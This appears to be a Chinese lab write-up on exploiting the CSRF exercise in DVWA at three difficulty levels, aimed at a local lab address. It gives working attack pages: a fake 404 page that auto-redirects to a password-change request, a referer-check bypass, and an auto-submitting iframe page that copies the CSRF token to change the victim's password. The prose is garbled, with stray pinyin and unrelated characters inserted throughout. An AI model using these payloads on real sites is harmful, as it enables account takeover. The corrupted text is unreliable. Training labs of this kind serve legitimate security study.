LEVE: low
自動(dòng)跳轉(zhuǎn)change
<head>
<title>404</title>
<meta http-equiv="Content-Language" content="zh-CN">
<script type="text/javascript">
document.location = "http://192.168.13.83/dvwa/vulnerabilities/csrf/?password_new=123123&password_conf=123123&Change=Change#";
</script>
</head>
<body>
<h2>頁(yè)面出錯(cuò)了. <h2>
</body>
</html>```
LEVE: medium
這個(gè)由于限制的跨域,就是說(shuō)自己把這段代碼放在自己的x.x.x.x服務(wù)器就會(huì)失效页衙。但是又限制的不是很好摊滔,僅僅檢測(cè)是否請(qǐng)求頭包含本機(jī)地址
于是
構(gòu)造文件名為 192.168.13.83.html
由于本地搭建環(huán)境地址,把此文件扔于dvwa/目錄下店乐,遠(yuǎn)程訪(fǎng)問(wèn)艰躺,實(shí)現(xiàn)效果一樣
最終password changed
LEVE: height
高級(jí)限制了改密請(qǐng)求必須有crsf-token,
此處在中級(jí)基礎(chǔ)上即色誘用戶(hù)點(diǎn)擊頁(yè)面 >一個(gè)看不見(jiàn)框架偷偷訪(fǎng)問(wèn)修改密碼的頁(yè)面<眨八,盜取合法用戶(hù)的crsf-token腺兴,進(jìn)行請(qǐng)求,完成攻擊
but,現(xiàn)在的瀏覽器是不允許跨域請(qǐng)求的,現(xiàn)在相當(dāng)于用戶(hù)訪(fǎng)問(wèn)自己遠(yuǎn)程服務(wù)器上的惡意頁(yè)面踪古,而惡意頁(yè)面內(nèi)嵌frame含长,指向用戶(hù),盜crsf-token又修改密碼伏穆,再向192.168.13.83/dvwa進(jìn)行請(qǐng)求構(gòu)成跨域
<!DOCTYPE html>
<html>
<head>
<script type="text/javascript">
function attack()
{
document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
// alert(document.getElementsByName('user_token')[0].value)
// alert(document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;)
// alert(document.getElementById("transfer").action)
document.getElementById("transfer").submit();
}
</script>
</head>
<body onload="attack()">
<iframe src="http://192.168.13.83/dvwa/vulnerabilities/csrf" id="hack" width=1000 height=900>
</iframe>
<form method="GET" id="transfer" action="http://192.168.13.83/dvwa/vulnerabilities/csrf">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body></html>
現(xiàn)在存在現(xiàn)實(shí)就是跨域無(wú)法實(shí)現(xiàn) 采用XSS高級(jí)插出token
好了 去玩XSS